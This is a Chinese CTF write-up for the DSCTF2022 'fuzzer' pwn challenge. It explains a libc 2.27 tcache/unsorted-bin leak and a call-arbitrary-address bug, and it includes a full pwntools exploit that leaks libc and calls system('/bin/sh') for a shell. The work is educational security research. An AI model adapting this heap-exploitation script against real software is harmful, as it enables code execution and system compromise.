前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DSCTF2022 fuzzer-Wp

DSCTF2022 fuzzer-Wp

作者头像
h1J4cker
发布2022-12-01 15:53:19
2200
发布2022-12-01 15:53:19
举报
文章被收录于专栏:二进制安全二进制安全

题目附件以及exp我已经上传到GitHub,有需要的可以自己去下载,这题比赛的时候是我队友出的,大佬们tql。

打开IDA Pro进行反汇编后阅读伪代码,这题逆向的过程并不难,所以就不讲了,漏洞也好找,静态分析后可以发现在1-5之外,还存在第六个选项。

点进6号选项调用的函数sub_E2B之后,可以发现,漏洞点就在如下位置:

这里读取了我们的输入,并把这个地址作为一个函数来执行,参数为我们输入的8个Index,那么该题的做法就是泄露地址,向chunk中写入/bin/sh\x00,并调用6号选项即可。

这里再说一下地址怎么泄露,在队里大佬和我说了之后我才知道,scanf在读入换行符时默认是不会覆盖原本的内容的,也就是说可以输入 +\n,这时fd指针会保存下来,那么我们在bitmap上,填上对应的值就好了。

这里再简单说一下BitMap:

BitMap是一种算法,在数据量特别大时,可以很好的缩减时间复杂度,通过在对应位置填上对应的值,来表明该位置代表的数字,是否存在。

这题的BitMap的填法不能填0和1,因为这样不好泄露,在每个位置都填上这个位置的编号,就能很方便的泄露出libc。

由于这题的libc版本是2.27的,存在tcache,题目限制了最多申请9个chunk,所以,申请9个并释放,填满tcache后,剩下的chunk由于大于fastbin的size,会进入unsorted bin,这样就可以通过该chunk的fd指针泄露出main_arena,从而计算得到libc,然后再计算出system的地址,并向chunk写入/bin/sh\x00即可getshell。

最终exp如下:

代码语言:javascript
复制
from pwn import *
#from sgtpyutils.logger import logger

io=process('./fuzzerinstrospector')
elf=ELF('./fuzzerinstrospector')
libc=ELF('./libc-2.27.so')


context.arch='amd64'
#context.log_level='debug'

def create(index,val,bit_map):
    io.recvuntil('Your choice: ')
    io.sendline('1')
    io.recvuntil('Index: ')
    io.sendline(str(index))
    for i in range(8):
        io.sendlineafter('Index: ',val[i])
    io.recvuntil('Bitmap: ')
    io.sendline(bit_map)

def edit(index,val,bit_map):
    io.recvuntil('Your choice: ')
    io.sendline('2')
    io.recvuntil('Index: ')
    io.sendline(str(index))
    for i in range(8):
        io.sendlineafter('Index: ',val[i])
    io.recvuntil('Bitmap: ')
    for i in range(256):
        io.send(bit_map[i])

def check(index):
    io.recvuntil('Your choice: ')
    io.sendline('3')
    io.recvuntil('Index: ')
    io.sendline(str(index))

def delete(index):
    io.recvuntil('Your choice: ')
    io.sendline('4')
    io.recvuntil('Index: ')
    io.sendline(str(index))

def execve(func_name):
    io.recvuntil(b'Your choice: ')
    io.sendline(b'6')
    io.sendline(str(func_name))

bit1='a'*256
bit2='b'*256


for i in range(9):
    create(8-i,['0','1','2','3','4','5','6','7'],bit2)

#gdb.attach(io)
#pause()

#puts_plt=elf.plt['puts']

for i in range(9):
    delete(i)

#gdb.attach(io)
#pause()

bit_map=" "

for i in range(0x100):
    bit_map=chr(0xff-i)+bit_map


#bit_map=['0']*256


for i in range(9):
    create(str(i),['+','+','+','+','+','+','+','+'],bit_map)

check(7)

offset=624+0x1ecb80

libc_base=0

for i in range(8):
    io.recvuntil("Bit: ")
    tmp=io.recvline()
    tmp=int(tmp)
    libc_base=libc_base+(tmp<<(i*8))

libc_base=libc_base-offset

#print('\n')

success("\033[32m libc base is leaked! ==> " + hex(libc_base) + "\033[0m")


#io.interactive()

#gdb.attach(io)
#pause()

sys_addr=libc.symbols['system']+libc_base



success("\033[32m system address is calculated! ==> " + hex(sys_addr) + "\033[0m")

#print('\n')

delete(0)

#gdb.attach(io)
#pause()

bit_map=""

for i in range(0x100):
    bit_map=bit_map+chr(i)

create(0,[str(ord("/")),str(ord("b")),str(ord("i")),str(ord("n")),str(ord("/")),str(ord("s")),str(ord("h")),str(ord("\x00"))],bit_map)

execve(sys_addr)


io.interactive()

#gdb.attach(io)
#pause()

后面还会写eznote,我比赛没做出来,队友出了,我去学习学习,大佬们tql。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档